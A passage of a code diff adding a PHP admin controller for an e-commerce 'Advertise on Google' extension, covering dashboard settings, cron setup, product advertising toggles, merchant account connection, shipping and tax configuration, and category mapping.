+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+ }
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data = array();
+
+ $data['text_connected'] = sprintf($this->language->get('text_connected'), $this->setting->get('advertise_google_gmc_account_id'));
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['error_cron_email'] = $this->getValidationError('cron_email');
+ $data['error_cron_acknowledge'] = $this->getValidationError('cron_acknowledge');
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $advertised_count = $this->model_extension_advertise_google->getAdvertisedCount($this->store_id);
+ $last_cron_executed = (int)$this->setting->get('advertise_google_cron_last_executed');
+
+ $data['warning'] = '';
+
+ if (!$this->setting->get('advertise_google_status') && $this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $data['warning'] = $this->language->get('warning_disabled');
+ } else if (!$this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $data['warning'] = sprintf($this->language->get('warning_no_active_campaigns'), $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true));
+ } else if ($advertised_count == 0) {
+ $data['warning'] = sprintf($this->language->get("warning_no_advertised_products"), $this->language->get("text_video_tutorial_url_advertise"));
+ } else if ($last_cron_executed + 24 * 60 * 60 <= time()) {
+ $data['warning'] = sprintf($this->language->get("warning_last_cron_executed"), $this->language->get("text_tutorial_cron"));
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ $reporting_intervals = $this->config->get('advertise_google_reporting_intervals');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ $data['action'] = $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ $data['shipping_taxes'] = $this->url->link('extension/advertise/google/shipping_taxes', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true);
+ $data['campaign'] = $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true);
+ $data['mapping'] = $this->url->link('extension/advertise/google/mapping', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true);
+ $data['disconnect'] = $this->url->link('extension/advertise/google/disconnect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ $data['list_ads'] = html_entity_decode($this->url->link('extension/advertise/google/list_ads', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['advertise'] = html_entity_decode($this->url->link('extension/advertise/google/advertise', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_popup'] = html_entity_decode($this->url->link('extension/advertise/google/popup_product', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_category_autocomplete'] = html_entity_decode($this->url->link('extension/advertise/google/category_autocomplete', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_debug_log_download'] = html_entity_decode($this->url->link('extension/advertise/google/debug_log_download', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+
+ $data['advertise_google_status'] = $this->getSettingValue('advertise_google_status', 0);
+ $data['advertise_google_debug_log'] = $this->getSettingValue('advertise_google_debug_log', 0);
+ $data['advertise_google_cron_email_status'] = $this->getSettingValue('advertise_google_cron_email_status');
+ $data['advertise_google_cron_email'] = $this->getSettingValue('advertise_google_cron_email', $this->config->get('config_email'));
+ $data['advertise_google_cron_token'] = $this->getSettingValue('advertise_google_cron_token');
+ $data['advertise_google_cron_acknowledge'] = $this->getSettingValue('advertise_google_cron_acknowledge', null, true);
+
+ if (isset($this->request->post['advertise_google_reporting_interval'])) {
+ $data['advertise_google_reporting_interval'] = $this->request->post['advertise_google_reporting_interval'];
+ } else if ($this->setting->has('advertise_google_reporting_interval') && in_array($this->setting->get('advertise_google_reporting_interval'), $reporting_intervals)) {
+ $data['advertise_google_reporting_interval'] = $this->setting->get('advertise_google_reporting_interval');
+ } else {
+ $data['advertise_google_reporting_interval'] = $this->config->get('advertise_google_reporting_intervals_default');
+ }
+
+ $server = $this->googleshopping->getStoreUrl();
+
+ $data['advertise_google_cron_command'] = 'export CUSTOM_SERVER_NAME=' . parse_url($server, PHP_URL_HOST) . '; export CUSTOM_SERVER_PORT=443; export ADVERTISE_GOOGLE_CRON=1; export ADVERTISE_GOOGLE_STORE_ID=' . $this->store_id . '; ' . PHP_BINDIR . '/php -d session.save_path=' . session_save_path() . ' -d memory_limit=256M ' . DIR_SYSTEM . 'library/googleshopping/cron.php > /dev/null 2> /dev/null';
+
+ if (!$this->setting->get('advertise_google_cron_token')) {
+ $data['advertise_google_cron_token'] = md5(mt_rand());
+ }
+
+ $host_and_uri = parse_url($server, PHP_URL_HOST) . parse_url($server, PHP_URL_PATH);
+
+ $data['advertise_google_cron_url'] = 'https://' . rtrim($host_and_uri, '/') . '/index.php?route=extension/advertise/google/cron&cron_token={CRON_TOKEN}';
+
+ $data['reporting_intervals'] = array();
+
+ foreach ($reporting_intervals as $interval) {
+ $data['reporting_intervals'][$interval] = $this->language->get('text_reporting_interval_' . $interval);
+ }
+
+ $campaign_reports = $this->setting->get('advertise_google_report_campaigns');
+
+ $data['campaigns'] = $this->googleshopping->getTargets($this->store_id);
+
+ $data['text_report_date_range'] = sprintf($this->language->get('text_report_date_range'), $campaign_reports['date_range']);
+ $data['text_ads_intro'] = sprintf($this->language->get('text_ads_intro'), $data['shipping_taxes']);
+ $data['advertise_google_report_campaigns'] = $campaign_reports['reports'];
+ $data['text_panel_heading'] = sprintf($this->language->get('text_panel_heading'), $this->googleshopping->getStoreName());
+
+ $data['text_selection_all'] = str_replace("'", "\\'", $this->language->get('text_selection_all'));
+ $data['text_selection_page'] = str_replace("'", "\\'", $this->language->get('text_selection_page'));
+
+ $data['tab_settings'] = $this->load->view('extension/advertise/google_settings', $data);
+ $data['tab_ads'] = $this->load->view('extension/advertise/google_ads', $data);
+ $data['tab_reports'] = $this->load->view('extension/advertise/google_reports', $data);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/advertise/google', $data));
+ }
+
+ public function debug_log_download() {
+ $filename = sprintf(Googleshopping::DEBUG_LOG_FILENAME, $this->store_id);
+
+ header('Pragma: no-cache');
+ header('Expires: 0');
+ header('Content-Description: File Transfer');
+ header('Content-Type: plain/text');
+ header('Content-Disposition: attachment; filename="' . $filename . '"');
+ header('Content-Transfer-Encoding: binary');
+
+ $file = DIR_LOGS . $filename;
+
+ if (file_exists($file)) {
+ readfile($file);
+ }
+
+ exit;
+ }
+
+ public function advertise() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'success' => null,
+ 'redirect' => null,
+ 'error' => null,
+ 'warning' => null
+ );
+
+ if ($this->validatePermission()) {
+ $this->load->model('extension/advertise/google');
+
+ $select = array();
+ $filter_data = array();
+
+ if (!empty($this->request->post['all_pages'])) {
+ $filter_data = $this->getFilter($this->request->post['filter']);
+ } else if (isset($this->request->post['select']) && is_array($this->request->post['select'])) {
+ $select = $this->request->post['select'];
+ }
+
+ if (!empty($select) || !empty($filter_data)) {
+ $target_ids = !empty($this->request->post['target_ids']) ? $this->request->post['target_ids'] : array();
+
+ if (!empty($select)) {
+ $this->model_extension_advertise_google->setAdvertisingBySelect($select, $target_ids, $this->store_id);
+ } else if (!empty($filter_data)) {
+ $this->model_extension_advertise_google->setAdvertisingByFilter($filter_data, $target_ids, $this->store_id);
+ }
+
+ if (!empty($target_ids)) {
+ $json['success'] = $this->language->get('success_advertise_listed');
+ } else {
+ $json['success'] = $this->language->get('success_advertise_unlisted');
+ }
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ // Refresh warnings
+ $advertised_count = $this->model_extension_advertise_google->getAdvertisedCount($this->store_id);
+ $last_cron_executed = (int)$this->setting->get('advertise_google_cron_last_executed');
+
+ if (!$this->setting->get('advertise_google_status') && $this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $json['warning'] = $this->language->get('warning_disabled');
+ } else if (!$this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $json['warning'] = sprintf($this->language->get('warning_no_active_campaigns'), $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true));
+ } else if ($advertised_count == 0) {
+ $json['warning'] = sprintf($this->language->get("warning_no_advertised_products"), $this->language->get("text_video_tutorial_url_advertise"));
+ } else if ($last_cron_executed + 24 * 60 * 60 <= time()) {
+ $json['warning'] = sprintf($this->language->get("warning_last_cron_executed"), $this->language->get("text_tutorial_cron"));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function list_ads() {
+ $json = array();
+
+ $this->load->model('extension/advertise/google');
+
+ $this->model_extension_advertise_google->insertNewProducts(array(), $this->store_id);
+
+ $this->load->language('extension/advertise/google');
+
+ $page = (int)$this->request->post['page'];
+
+ $filter_data = array(
+ 'sort' => $this->request->post['sort'],
+ 'order' => $this->request->post['order'],
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $filter_data = array_merge($filter_data, $this->getFilter($this->request->post['filter']));
+
+ $products = $this->googleshopping->getProducts($filter_data, $this->store_id);
+
+ $json['products'] = array_map(array($this, 'product'), $products);
+
+ $product_total = $this->googleshopping->getTotalProducts($filter_data, $this->store_id);
+
+ $pagination = new Pagination();
+ $pagination->total = $product_total;
+ $pagination->page = $this->request->post['page'];
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = '{page}';
+
+ $pages = ceil($product_total / $this->config->get('config_limit_admin'));
+
+ $json['showing'] = sprintf($this->language->get('text_pagination'), ($product_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($product_total - $this->config->get('config_limit_admin'))) ? $product_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $product_total, $pages);
+
+ $json['pagination'] = $pagination->render();
+ $json['total'] = (int)$product_total;
+ $json['pages'] = (int)$pages;
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function merchant() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_merchant'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validatePermission()) {
+ try {
+ $redirect_uri = html_entity_decode($this->url->link('extension/advertise/google/callback_merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $state = md5(microtime(true) . $redirect_uri . microtime(true));
+
+ $auth_url_data = array(
+ 'account_type' => $this->request->post['advertise_google_gmc_account_type'],
+ 'redirect_uri' => $redirect_uri . '&state=' . $state
+ );
+
+ $this->session->data['advertise_google'] = $auth_url_data;
+ $this->session->data['advertise_google']['state'] = $state;
+
+ $this->response->redirect($this->googleshopping->getMerchantAuthUrl($auth_url_data));
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ $data['action'] = $this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ if (isset($this->request->post['advertise_google_gmc_account_type'])) {
+ $data['advertise_google_gmc_account_type'] = $this->request->post['advertise_google_gmc_account_type'];
+ } else {
+ $data['advertise_google_gmc_account_type'] = 'api';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['current_step'] = 2;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_merchant', $data));
+ }
+
+ public function shipping_taxes() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_shipping_taxes'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ $this->load->config('googleshopping/googleshopping');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateShippingAndTaxes()) {
+ try {
+ $this->applyNewSettings($this->request->post);
+
+ $this->googleshopping->pushShippingAndTaxes();
+
+ $this->applyNewSettings(array(
+ 'advertise_google_gmc_shipping_taxes_configured' => '1'
+ ));
+
+ $this->session->data['success'] = $this->language->get('success_shipping_taxes');
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+ }
+
+ $available_carriers = array();
+
+ try {
+ $available_carriers = $this->googleshopping->getAvailableCarriers();
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ if (isset($this->error['min_transit_time'])) {
+ $data['error_min_transit_time'] = $this->error['min_transit_time'];
+ } else {
+ $data['error_min_transit_time'] = '';
+ }
+
+ if (isset($this->error['max_transit_time'])) {
+ $data['error_max_transit_time'] = $this->error['max_transit_time'];
+ } else {
+ $data['error_max_transit_time'] = '';
+ }
+
+ if (isset($this->error['flat_rate'])) {
+ $data['error_flat_rate'] = $this->error['flat_rate'];
+ } else {
+ $data['error_flat_rate'] = '';
+ }
+
+ if (isset($this->error['carrier_postcode'])) {
+ $data['error_carrier_postcode'] = $this->error['carrier_postcode'];
+ } else {
+ $data['error_carrier_postcode'] = '';
+ }
+
+ if (isset($this->error['carrier_price_percentage'])) {
+ $data['error_carrier_price_percentage'] = $this->error['carrier_price_percentage'];
+ } else {
+ $data['error_carrier_price_percentage'] = '';
+ }
+
+ if (isset($this->error['carrier'])) {
+ $data['error_carrier'] = $this->error['carrier'];
+ } else {
+ $data['error_carrier'] = '';
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['from_dashboard'] = isset($this->request->get['from_dashboard']);
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ if ($data['from_dashboard']) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_shipping_taxes'),
+ 'href' => $this->url->link('extension/advertise/google/shipping_taxes', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true),
+ );
+ }
+
+ if ($data['from_dashboard']) {
+ $data['cancel'] = $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ }
+
+ $data['action'] = $this->url->link('extension/advertise/google/shipping_taxes', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ if (isset($this->request->post['advertise_google_shipping_taxes'])) {
+ $data['advertise_google_shipping_taxes'] = $this->request->post['advertise_google_shipping_taxes'];
+ } else if ($this->setting->has('advertise_google_shipping_taxes')) {
+ $data['advertise_google_shipping_taxes'] = $this->setting->get('advertise_google_shipping_taxes');
+ } else {
+ $data['advertise_google_shipping_taxes'] = array(
+ 'shipping_type' => 'flat',
+ 'flat_rate' => $this->config->get('shipping_flat_cost'),
+ 'min_transit_time' => 1,
+ 'max_transit_time' => 14,
+ 'carrier_price_percentage' => 5,
+ 'tax_type' => $this->config->get('config_country_id') == 223 ? 'usa' : 'not_usa'
+ );
+ }
+
+ $data['available_carriers'] = $available_carriers;
+
+ $data['states'] = $this->config->get('advertise_google_tax_usa_states');
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['current_step'] = 4;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_shipping_taxes', $data));
+ }
+
+ public function mapping() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_mapping'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateMapping()) {
+ try {
+ foreach ($this->request->post['advertise_google_mapping'] as $google_product_category => $category_id) {
+ $this->model_extension_advertise_google->setCategoryMapping($google_product_category, $this->store_id, $category_id);
+ }
+
+ if (!empty($this->request->post['advertise_google_modify_existing'])) {
+ $this->model_extension_advertise_google->updateGoogleProductCategoryMapping($this->store_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('success_mapping');
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['from_dashboard'] = isset($this->request->get['from_dashboard']);
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ if ($data['from_dashboard']) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_shipping_taxes'),
+ 'href' => $this->url->link('extension/advertise/google/mapping', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true),
+ );
+ }
+
+ $this->load->config('googleshopping/googleshopping');
+
+ $data['mapping'] = array();
+
+ foreach ($this->config->get('advertise_google_google_product_categories') as $google_product_category_id => $google_product_category_name) {
+ if ($google_product_category_id == 0) continue;
+
+ $category_id = '';
+ $name = '';
+
+ if (null !== $category = $this->model_extension_advertise_google->getMappedCategory($google_product_category_id, $this->store_id)) {
+ $category_id = $category['category_id'];
+ $name = $category['name'];
+ }
+
+ $map = array(
+ 'google_product_category' => array(
+ 'id' => $google_product_category_id,
+ 'name' => $google_product_category_name
+ ),
+ 'oc_category' => array(
+ 'category_id' => $category_id,
+ 'name' => $name
+ )
+ );
+
+ $data['mapping'][] = $map;
+ }
+
+ $data['mapping_json'] = json_encode($data['mapping']);
+
+ if ($data['from_dashboard']) {
+ $data['cancel'] = $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ }
+
+ $data['action'] = $this->url->link('extension/advertise/google/mapping', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['url_mapping_verify'] = html_entity_decode($this->url->link('extension/advertise/google/mapping_verify', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_category_autocomplete'] = html_entity_decode($this->url->link('extension/advertise/google/category_autocomplete', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['current_step'] = 5;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_mapping', $data));
+ }
+
+ public function mapping_verify() {
+ $this->load->language('extension/advertise/google');
+
+ $this->load->model('extension/advertise/google');
+
+ $data = array();
+
+ $json = array(
+ 'submit_directly' => !$this->model_extension_advertise_google->isAnyProductCategoryModified($this->store_id),
+ 'modal_confirmation' => $this->load->view('extension/advertise/google_mapping_verify', $data)
+ );
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function campaign_test() {
+ $json = array(
+ 'status' => false,
+ 'redirect' => null,
+ 'error' => null
+ );
+
+ if ($this->validatePermission()) {
+ try {
+ $json['status'] = $this->googleshopping->testCampaigns();
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $json['redirect'] = html_entity_decode($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ } catch (\RuntimeException $e) {
+ $json['status'] = false;
+ $json['error'] = $e->getMessage();
+ }
+
+ $this->applyNewSettings(array(
+ 'advertise_google_can_edit_campaigns' => (int)$json['status']
+ ));
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function campaign() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_campaign'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateCampaign()) {
+ $this->applyNewSettings($this->request->post);
+
+ // If there is no redirect from the push of targets, go back to the extension dashboard
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['warning'] = '';
+
+ if (!$this->setting->get('advertise_google_status') && $this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $data['warning'] = $this->language->get('warning_paused_targets');
+ }
+
+ $data['from_dashboard'] = isset($this->request->get['from_dashboard']);
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ if ($data['from_dashboard']) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_campaign'),
+ 'href' => $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true),
+ );
+ }
+
+ if (isset($this->request->post['advertise_google_auto_advertise'])) {
+ $data['advertise_google_auto_advertise'] = $this->request->post['advertise_google_auto_advertise'];
+ } else if ($this->setting->has('advertise_google_auto_advertise')) {
+ $data['advertise_google_auto_advertise'] = $this->setting->get('advertise_google_auto_advertise');
+ } else {
+ $data['advertise_google_auto_advertise'] = '0';
+ }
+
+ if ($data['from_dashboard']) {
+ $data['cancel'] = $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ }
+
+ $data['action'] = $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ $data['target_add'] = html_entity_decode($this->url->link('extension/advertise/google/target_add', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['target_edit'] = html_entity_decode($this->url->link('extension/advertise/google/target_edit', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&advertise_google_target_id={target_id}', true), ENT_QUOTES, 'UTF-8');
+ $data['target_delete'] = html_entity_decode($this->url->link('extension/advertise/google/target_delete', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&advertise_google_target_id={target_id}', true), ENT_QUOTES, 'UTF-8');
